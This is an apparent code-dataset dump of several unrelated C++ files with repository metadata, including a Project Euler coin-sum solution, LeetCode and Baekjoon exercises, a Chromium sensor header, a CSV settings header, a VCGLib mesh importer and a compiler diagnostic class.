virtual void close_callback ();
virtual bool timeout_callback ();
virtual bool read_callback (char* data, int len);
void ping ();
acl::check_client* checker_;
acl::aio_socket_stream* conn_;
};
virtual void nio_check (acl::check_client& checker,
acl::aio_socket_stream& conn);
};
}
|
cb2512a54227892afec5bd590da40994fbc34250
|
019814bd7070d1f14405d1ac70d9c7a6ff311d57
|
/Workbench/ProjectEuler/Euler31.cpp
|
7e8d47777c4f8402a4704661347abf6e2eb58e5d
|
[] |
no_license
|
Andrenator/Workbench
|
211741e69d83cc1cb29681b370ca741416d23466
|
85c2cd88d6619ea05301089d00668b05dc0f88c5
|
refs/heads/master
| 2016-09-01T12:25:02.146456
| 2016-04-07T20:53:45
| 2016-04-07T20:53:45
| 49,672,469
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 836
|
cpp
|
Euler31.cpp
|
#include <iostream>
using namespace std;
int count(int*);
int main()
{
int coins[8] = { 0 };
int total = 0;
while (coins[7] < 2)
{
if (coins[1] > 100)
{
coins[1] = 0;
coins[2]++;
}
if (coins[2] > 40)
{
coins[2] = 0;
coins[3]++;
}
if (coins[3] > 20)
{
coins[3] = 0;
coins[4]++;
}
if (coins[4] > 10)
{
coins[4] = 0;
coins[5]++;
}
if (coins[5] > 4)
{
coins[5] = 0;
coins[6]++;
}
if (coins[6] > 2)
{
coins[6] = 0;
coins[7]++;
}
if (count(coins) <= 200)
total++;
coins[1]++;
}
cout << "total: " << total;
return 0;
}
int count(int*ptr)
{
int total = 0;
total += ptr[0];
total += ptr[1] * 2;
total += ptr[2] * 5;
total += ptr[3] * 10;
total += ptr[4] * 20;
total += ptr[5] * 50;
total += ptr[6] * 100;
total += ptr[7] * 200;
return total;
}
|
16ae08a1975c48775b8788bc2c5bb046b7cd08ce
|
1ec3f7b2d0353228bbcef516cdd5d727befe20b2
|
/완전탐색(1476).cpp
|
33fcd02ed7de48a253808a2aaf5b66243ac76c3f
|
[] |
no_license
|
elufe/algorithm
|
6fe07ac59920a73bae5e9219e2b544c5e2295159
|
78fd2788bf59255feef14756aaed21115120594e
|
refs/heads/master
| 2021-07-13T17:17:01.972913
| 2020-06-03T11:45:13
| 2020-06-03T11:45:13
| 152,955,400
| 2
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 485
|
cpp
|
완전탐색(1476).cpp
|
#include<iostream>
#include<stack>
#include<queue>
using namespace std;
int main() {
int e, s, m,year=0;
int ec=0, sc=0, mc=0;
cin >> e >> s >> m;
queue<int> es, ss, ms;
es.push(year%15+1);
ss.push(year%28+1);
ms.push(year%19+1);
year++;
while (es.front() != e || ss.front() != s || ms.front() != m) {
es.pop();
ss.pop();
ms.pop();
es.push(year % 15 + 1);
ss.push(year % 28 + 1);
ms.push(year % 19 + 1);
year++;
}
cout << year;
}
|
cea28b0c2cb210245a9435ccf482d74804d41c5d
|
b5e49d5cc2f95cdb07449b7c58c5368ebf0deb23
|
/C++/by_difficulty/medium/207_m.cpp
|
d56c22c76292fe9ee8f44441a9fb9a166f2e741f
|
[] |
no_license
|
changsongzhu/leetcode
|
f5140afe8d4a397a9a785b72a12df2c20804ea92
|
fea7de085e3f7b012e6bbf661569de00d2a3eb3e
|
refs/heads/master
| 2021-01-22T18:54:04.308549
| 2018-03-30T21:50:48
| 2018-03-30T21:50:48
| 85,131,357
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,621
|
cpp
|
207_m.cpp
|
/**
207[M]. Course Schedule
There are a total of n courses you have to take, labeled from 0 to n - 1.
Some courses may have prerequisites, for example to take course 0 you have to first take course 1, which is expressed as a pair: [0,1]
Given the total number of courses and a list of prerequisite pairs, is it possible for you to finish all courses?
For example:
2, [[1,0]]
There are a total of 2 courses to take. To take course 1 you should have finished course 0. So it is possible.
2, [[1,0],[0,1]]
There are a total of 2 courses to take. To take course 1 you should have finished course 0, and to take course 0 you should also have finished course 1. So it is impossible.
Note:
The input prerequisites is a graph represented by a list of edges, not adjacency matrices. Read more about how a graph is represented.
You may assume that there are no duplicate edges in the input prerequisites.
**/
class Solution {
public:
bool canFinish(int numCourses, vector<pair<int, int>>& prerequisites) {
vector<vector<int> > graph(numCourses, vector<int> (0));
vector<int> visited(numCourses, 0);
for(auto a:prerequisites)
graph[a.second].push_back(a.first);
for(int i=0;i<numCourses;i++)
if(!helper(graph, visited, i)) return false;
return true;
}
bool helper(vector<vector<int> > &graph, vector<int> &visited, int i)
{
if(visited[i]==-1) return false;
if(visited[i]==1) return true;
visited[i]=-1;
for(auto a:graph[i])
if(!helper(graph, visited, a)) return false;
visited[i]=1;
return true;
}
};
|
246755cb93dad6253832b1740864e1b7acceb7bb
|
5456502f97627278cbd6e16d002d50f1de3da7bb
|
/content/browser/device_sensors/data_fetcher_shared_memory.h
|
38d9a35c39394344c50cd7c1f530c37a98a95787
|
[
"BSD-3-Clause"
] |
permissive
|
TrellixVulnTeam/Chromium_7C66
|
72d108a413909eb3bd36c73a6c2f98de1573b6e5
|
c8649ab2a0f5a747369ed50351209a42f59672ee
|
refs/heads/master
| 2023-03-16T12:51:40.231959
| 2017-12-20T10:38:26
| 2017-12-20T10:38:26
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,958
|
h
|
data_fetcher_shared_memory.h
|
// Copyright 2014 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef CONTENT_BROWSER_DEVICE_SENSORS_DATA_FETCHER_SHARED_MEMORY_H_
#define CONTENT_BROWSER_DEVICE_SENSORS_DATA_FETCHER_SHARED_MEMORY_H_
#include "base/macros.h"
#include "build/build_config.h"
#include "content/browser/device_sensors/data_fetcher_shared_memory_base.h"
#if !defined(OS_ANDROID)
#include "device/sensors/public/cpp/device_light_hardware_buffer.h"
#include "device/sensors/public/cpp/device_motion_hardware_buffer.h"
#include "device/sensors/public/cpp/device_orientation_hardware_buffer.h"
#endif
#if defined(OS_MACOSX)
class SuddenMotionSensor;
#elif defined(OS_WIN)
#include <SensorsApi.h>
#include "base/win/scoped_comptr.h"
#endif
namespace content {
#if defined(OS_CHROMEOS)
class SensorManagerChromeOS;
#elif defined(OS_MACOSX)
class AmbientLightSensor;
#endif
class CONTENT_EXPORT DataFetcherSharedMemory
: public DataFetcherSharedMemoryBase {
public:
DataFetcherSharedMemory();
~DataFetcherSharedMemory() override;
#if defined(OS_ANDROID)
void Shutdown() override;
#endif
private:
bool Start(ConsumerType consumer_type, void* buffer) override;
bool Stop(ConsumerType consumer_type) override;
#if defined(OS_LINUX) || defined(OS_MACOSX) || defined(OS_WIN)
#if !defined(OS_CHROMEOS)
DeviceMotionHardwareBuffer* motion_buffer_ = nullptr;
DeviceOrientationHardwareBuffer* orientation_buffer_ = nullptr;
DeviceLightHardwareBuffer* light_buffer_ = nullptr;
#endif
DeviceOrientationHardwareBuffer* orientation_absolute_buffer_ = nullptr;
#endif
#if defined(OS_CHROMEOS)
std::unique_ptr<SensorManagerChromeOS> sensor_manager_;
#elif defined(OS_MACOSX)
void Fetch(unsigned consumer_bitmask) override;
FetcherType GetType() const override;
std::unique_ptr<AmbientLightSensor> ambient_light_sensor_;
std::unique_ptr<SuddenMotionSensor> sudden_motion_sensor_;
#elif defined(OS_WIN)
class SensorEventSink;
class SensorEventSinkMotion;
class SensorEventSinkOrientation;
class SensorEventSinkLight;
FetcherType GetType() const override;
bool RegisterForSensor(REFSENSOR_TYPE_ID sensor_type, ISensor** sensor,
scoped_refptr<SensorEventSink> event_sink);
void DisableSensors(ConsumerType consumer_type);
void SetBufferAvailableState(ConsumerType consumer_type, bool enabled);
base::win::ScopedComPtr<ISensor> sensor_inclinometer_;
base::win::ScopedComPtr<ISensor> sensor_inclinometer_absolute_;
base::win::ScopedComPtr<ISensor> sensor_accelerometer_;
base::win::ScopedComPtr<ISensor> sensor_gyrometer_;
base::win::ScopedComPtr<ISensor> sensor_light_;
#endif
DISALLOW_COPY_AND_ASSIGN(DataFetcherSharedMemory);
};
} // namespace content
#endif // CONTENT_BROWSER_DEVICE_SENSORS_DATA_FETCHER_SHARED_MEMORY_H_
|
6718cf6a6aa80e419854b1bb0b9806e841687422
|
c97b6ae2f10839f8e98fb2ed450ea1b74b899dfd
|
/cpp/file_spriter.hpp
|
d38a41ab310e61983a0128f6daa75a2d0b592ea0
|
[] |
no_license
|
Daiki-Iijima/Clang_TodoList
|
5dd994db2a2e9cbec032e494ad0ec062d16df958
|
8163fc7bf86e40360597ac3d4bf6958138be46d2
|
refs/heads/main
| 2023-08-26T03:44:10.961580
| 2021-10-31T06:08:17
| 2021-10-31T06:08:17
| 405,986,380
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 283
|
hpp
|
file_spriter.hpp
|
#ifndef FILE_SPRITER_HPP_
#define FILE_SPRITER_HPP_
class FileSpritter {
public:
FileSpritter(const char *const data, int size);
char *get_sprit_data(int rowCount) const;
int get_row_count() const;
private:
int m_row_count;
char *m_sprit_data[];
};
#endif
|
a3c0811d0c9dc60104e7f49d8053fadaf890a589
|
051bdaceb1248d4280fc0d6562ae07f6c4f6f5b5
|
/auxiliary/metro_sources/wrap/io_trimesh/import.h
|
96d161bbef13bacd3162b5f6723af0b6009cd7a4
|
[
"MIT",
"GPL-3.0-only"
] |
permissive
|
kierannp/3dsnet
|
2781a508d6843709933f495c0e2bded3cea31d11
|
429c3d431b36358e43c61692e0d02df3ea255635
|
refs/heads/main
| 2023-05-15T04:03:12.603581
| 2021-06-09T19:22:40
| 2021-06-09T19:22:40
| 369,330,626
| 0
| 0
|
MIT
| 2021-05-20T20:29:38
| 2021-05-20T20:29:38
| null |
UTF-8
|
C++
| false
| false
| 6,579
|
h
|
import.h
|
/****************************************************************************
* VCGLib o o *
* Visual and Computer Graphics Library o o *
* _ O _ *
* Copyright(C) 2004-2016 \/)\/ *
* Visual Computing Lab /\/| *
* ISTI - Italian National Research Council | *
* \ *
* All rights reserved. *
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License (http://www.gnu.org/licenses/gpl.txt) *
* for more details. *
* *
****************************************************************************/
/****************************************************************************
History
$Log: not supported by cvs2svn $
Revision 1.11 2006/03/29 09:27:07 cignoni
Added managemnt of non critical errors
Revision 1.10 2006/03/29 08:16:31 corsini
Minor change in LoadMask
Revision 1.9 2006/03/27 07:17:49 cignoni
Added generic LoadMask
Revision 1.8 2006/03/07 13:19:29 cignoni
First Release with OBJ import support
Revision 1.7 2006/02/28 14:50:00 corsini
Fix comments
Revision 1.6 2006/02/10 16:14:53 corsini
Fix typo
Revision 1.5 2006/02/10 08:14:32 cignoni
Refactored import. No more duplicated code
Revision 1.4 2006/02/09 16:04:45 corsini
Expose load mask
Revision 1.3 2006/01/11 10:37:45 cignoni
Added use of Callback
Revision 1.2 2005/01/26 22:43:19 cignoni
Add std:: to stl containers
Revision 1.1 2004/11/29 08:12:10 cignoni
Initial Update
****************************************************************************/
#ifndef __VCGLIB_IMPORT
#define __VCGLIB_IMPORT
#include <wrap/io_trimesh/import_obj.h>
#include <wrap/io_trimesh/import_ply.h>
#include <wrap/io_trimesh/import_stl.h>
#include <wrap/io_trimesh/import_off.h>
#include <wrap/io_trimesh/import_vmi.h>
#include <locale>
namespace vcg {
namespace tri {
namespace io {
/**
This class encapsulate a filter for automatically importing meshes by guessing
the right filter according to the extension
*/
template <class OpenMeshType>
class Importer
{
private:
enum KnownTypes { KT_UNKNOWN, KT_PLY, KT_STL, KT_OFF, KT_OBJ, KT_VMI };
static int &LastType()
{
static int lastType= KT_UNKNOWN;
return lastType;
}
public:
enum ImporterError {
E_NOERROR =0 // No error =0 is the standard for ALL the imported files.
};
// simple aux function that returns true if a given file has a given extesnion
static bool FileExtension(std::string filename, std::string extension)
{
std::transform(filename.begin(), filename.end(), filename.begin(), ::tolower);
std::transform(extension.begin(), extension.end(), extension.begin(), ::tolower);
std::string end=filename.substr(filename.length()-extension.length(),extension.length());
return end==extension;
}
// Open Mesh, returns 0 on success.
static int Open(OpenMeshType &m, const char *filename, CallBackPos *cb=0)
{
int dummymask = 0;
return Open(m,filename,dummymask,cb);
}
/// Open Mesh and fills the load mask (the load mask must be initialized first); returns 0 on success.
static int Open(OpenMeshType &m, const char *filename, int &loadmask, CallBackPos *cb=0)
{
int err;
if(FileExtension(filename,"ply"))
{
err = ImporterPLY<OpenMeshType>::Open(m, filename, loadmask, cb);
LastType()=KT_PLY;
}
else if(FileExtension(filename,"stl"))
{
err = ImporterSTL<OpenMeshType>::Open(m, filename, loadmask, cb);
LastType()=KT_STL;
}
else if(FileExtension(filename,"off"))
{
err = ImporterOFF<OpenMeshType>::Open(m, filename, loadmask, cb);
LastType()=KT_OFF;
}
else if(FileExtension(filename,"obj"))
{
err = ImporterOBJ<OpenMeshType>::Open(m, filename, loadmask, cb);
LastType()=KT_OBJ;
}
else if(FileExtension(filename,"vmi"))
{
err = ImporterVMI<OpenMeshType>::Open(m, filename, loadmask, cb);
LastType()=KT_VMI;
}
else {
err=1;
LastType()=KT_UNKNOWN;
}
return err;
}
static bool ErrorCritical(int error)
{
switch(LastType())
{
case KT_PLY : return (error>0); break;
case KT_STL : return (error>0); break;
case KT_OFF : return (error>0); break;
case KT_OBJ : return ImporterOBJ<OpenMeshType>::ErrorCritical(error); break;
}
return true;
}
static const char *ErrorMsg(int error)
{
switch(LastType())
{
case KT_PLY : return ImporterPLY<OpenMeshType>::ErrorMsg(error); break;
case KT_STL : return ImporterSTL<OpenMeshType>::ErrorMsg(error); break;
case KT_OFF : return ImporterOFF<OpenMeshType>::ErrorMsg(error); break;
case KT_OBJ : return ImporterOBJ<OpenMeshType>::ErrorMsg(error); break;
case KT_VMI : return ImporterVMI<OpenMeshType>::ErrorMsg(error); break;
}
return "Unknown type";
}
static bool LoadMask(const char * filename, int &mask)
{
bool err;
if(FileExtension(filename,"ply"))
{
err = ImporterPLY<OpenMeshType>::LoadMask(filename, mask);
LastType()=KT_PLY;
}
else if(FileExtension(filename,"stl"))
{
mask = Mask::IOM_VERTCOORD | Mask::IOM_FACEINDEX;
err = true;
LastType()=KT_STL;
}
else if(FileExtension(filename,"off"))
{
mask = Mask::IOM_VERTCOORD | Mask::IOM_FACEINDEX;
err = ImporterOFF<OpenMeshType>::LoadMask(filename, mask);
LastType()=KT_OFF;
}
else if(FileExtension(filename,"obj"))
{
err = ImporterOBJ<OpenMeshType>::LoadMask(filename, mask);
LastType()=KT_OBJ;
}
else
{
err = false;
LastType()=KT_UNKNOWN;
}
return err;
}
}; // end class
} // end Namespace tri
} // end Namespace io
} // end Namespace vcg
#endif
|
824bbe1aedfd17cf91bc93041a72ac89ac1f3bcd
|
9e88526e23506544b204e319ad8b127aaf945dd4
|
/CSVParser/CSVSettings.h
|
4294886d489d06fc7019fba40c0f5b48458f41ec
|
[] |
no_license
|
kuna/LR2csv
|
35bd9021cf211293247ea868bf2cbc213cbb4b6a
|
06eed9736f097bcf7a8d3f8a4a1fff4635122845
|
refs/heads/master
| 2016-09-05T11:48:26.703308
| 2014-09-23T05:46:06
| 2014-09-23T05:46:06
| 21,770,132
| 2
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,059
|
h
|
CSVSettings.h
|
#include <tchar.h>
#include <string>
#include <map>
#include <vector>
#pragma once
/*
this class manages all about CSV Settings that need to be storaged
about custom DSTOPTION, *.ext paths and so on ...
*/
class CSVData; // prevent each-referencing
namespace CSVPlayOptionConst {
enum CSVPlayOptionConst {
GUAGEMODE_1P = 0,
GUAGEMODE_2P = 1,
ASSIST_1P = 2,
ASSIST_2P = 3,
RANDOM_1P = 4,
RANDOM_2P = 5,
EFFECT_1P = 6,
EFFECT_2P = 7,
HISPEED_1P = 8,
HISPEED_2P = 9,
FLIP = 10,
SCOREGRAPH = 11,
HISPEED_FIX = 12,
GHOST = 13,
BGA = 14,
BGASIZE = 15,
BATTLE = 16,
JUDGETIMING = 17,
JUDGETIMING_AUTO = 18,
TARGET = 19,
SCREENMODE = 20,
VSYNC = 21,
SAVE_REPLAY = 22,
FAVORITE = 23,
SHUTTER = 24,
TARGETRATE = 25,
PLAYMODE = 26,
};
};
class CSVPlayOption {
public:
CSVPlayOption();
void option_next(int opt);
void option_prev(int opt);
const std::wstring& option_getstring(int opt);
void option_applytext();
private:
std::vector<std::wstring> settingString[50]; // stores setting string value
int settingStringIdx[50]; // stores setting string index
int option[1000];
};
class CSVCustomOption {
public:
CSVCustomOption();
std::wstring optName;
std::wstring optPath;
std::wstring optValue;
int optType; // if 0, then CUSTOMFILE, else, CUSTOMOPTION.
int optNum; // for CUSTOMOPTION
std::vector<std::wstring> optValues;
public:
void setValue(int val);
void setValue(const TCHAR *val);
void getValue(TCHAR *out);
int getValue();
};
class CSVSettings {
private:
static std::map<std::wstring, CSVCustomOption> settings;
static CSVData *csv;
public:
static CSVPlayOption playOption;
static bool LoadSettings(CSVData *csvData);
static bool SaveSettings();
static void ClearSettings();
static void SetDefaultValue(CSVData *csvData, bool overwrite=true);
static void ChangeDSTOpt();
static CSVCustomOption& GetOption(std::wstring name);
static void SetOption(std::wstring name, CSVCustomOption &val);
static bool GetPathValue(const TCHAR* lr2Path, std::wstring &val);
};
|
68476ef67672882118729f67572c9a9ad3b793ee
|
489170db498077806a65e35759f8878e018b3f6b
|
/compiler/Diagnostic.hh
|
1892da3b8dbcf2f17a5125c21672a4cfcd582613
|
[] |
no_license
|
yeetari/kodo
|
233b0b85cf8ee87709a85d0d1dd9e9ebc4783ba8
|
45cea090a41ac088b1fd7a91b4b4b59c7dc5d752
|
refs/heads/master
| 2023-08-30T02:44:43.374836
| 2021-10-29T15:49:09
| 2021-10-29T15:49:09
| 411,987,182
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 904
|
hh
|
Diagnostic.hh
|
#pragma once
#include <SourceLocation.hh>
#include <fmt/format.h>
#include <string>
#include <vector>
class Diagnostic {
const SourceLocation m_location;
const std::string m_error;
std::vector<std::pair<const SourceLocation &, std::string>> m_notes;
public:
template <typename... Args>
Diagnostic(const SourceLocation &location, const char *fmt, Args &&...args)
: m_location(location), m_error(fmt::format(fmt, std::forward<Args>(args)...)) {}
Diagnostic(const Diagnostic &) = delete;
Diagnostic(Diagnostic &&) = delete;
~Diagnostic();
Diagnostic &operator=(const Diagnostic &) = delete;
Diagnostic &operator=(Diagnostic &&) = delete;
template <typename... Args>
void add_note(const SourceLocation &location, const char *fmt, Args &&... args) {
m_notes.emplace_back(location, fmt::format(fmt, std::forward<Args>(args)...));
}
};
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.